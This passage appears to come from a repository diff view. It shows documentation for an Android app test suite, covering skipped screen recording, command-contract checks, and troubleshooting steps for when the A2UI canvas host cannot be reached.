- Skips `screen.record` in this suite (Android requires interactive per-invocation screen-capture consent).
- Asserts command contracts (success or expected deterministic error for safe-invalid calls like `sms.send` and `notifications.actions`).
-`A2UI host not reachable` / `A2UI_HOST_NOT_CONFIGURED`:
- ensure gateway canvas host is running and reachable, keep the app on the **Screen** tab. The app will auto-refresh canvas capability once; if it still fails, reconnect app and rerun.
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.